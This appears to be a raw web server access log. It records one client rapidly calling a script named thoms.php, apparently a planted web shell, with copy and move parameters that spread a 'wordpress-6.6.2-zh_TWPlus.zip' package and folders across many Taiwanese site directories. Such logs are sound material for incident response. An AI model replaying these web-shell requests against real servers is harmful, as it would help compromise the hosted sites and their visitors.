45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20490 "https://163.245.207.76/thoms.php?copy=bestzyx.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bft.com.tw HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=wp-content HTTP/1.1" 200 11368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20257 "https://163.245.207.76/thoms.php?copy=bestzyx.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20479 "https://163.245.207.76/thoms.php?copy=bestzyx.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=betcity.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20647 "https://163.245.207.76/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=cgi-bin HTTP/1.1" 200 11270 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bestzyx.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=upgrade HTTP/1.1" 200 11353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20663 "https://163.245.207.76/thoms.php?copy=bestzyx.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20646 "https://163.245.207.76/thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20653 "https://163.245.207.76/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bfl.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wp-content HTTP/1.1" 200 11380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bossini.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11391 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=betcity.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:42 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20562 "https://163.245.207.76/thoms.php?copy=bfl.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=wp-content HTTP/1.1" 200 11370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20655 "https://163.245.207.76/thoms.php?copy=broadweb.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20656 "https://163.245.207.76/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bfl.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20790 "https://163.245.207.76/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=cgi-bin HTTP/1.1" 200 11309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=upgrade HTTP/1.1" 200 11358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20791 "https://163.245.207.76/thoms.php?copy=broadweb.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17354 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17301 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17363 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17506 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13149 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16551 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestjudy.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=biotaiwan.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
